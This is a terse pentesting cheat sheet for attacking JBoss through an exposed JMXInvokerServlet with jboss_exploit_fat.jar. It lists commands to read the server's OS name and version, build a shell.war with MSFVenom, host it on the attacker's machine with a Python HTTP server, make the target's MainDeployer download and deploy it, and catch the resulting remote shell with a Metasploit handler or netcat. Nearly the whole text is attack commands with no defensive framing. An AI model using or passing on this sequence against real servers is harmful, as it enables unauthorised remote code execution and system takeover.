-
Name and Verison Information
java -jar jboss_exploit_fat.jar -i http://Target_IP:PORT/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSName
java -jar jboss_exploit_fat.jar -i http://Target_IP:PORT/invoker/JMXInvokerServlet get jboss.system:type=ServerInfo OSVersion
- File Upload (Deploy)
MSFVenom with create shell.war file
Folder containing shell.war file
Python -m SimpleHTTPServer 8000
java -jar jboss_exploit_fat.jar -i http:/Target_IP:PORT/invoker/JMXInvokerServlet invoke jboss.system:service=MainDeployer deploy http://My_IP:8000/shell.war
http:/Target_IP:PORT/shell.war
Listenin Port ( exploit/multi/handler or nc -lvp port )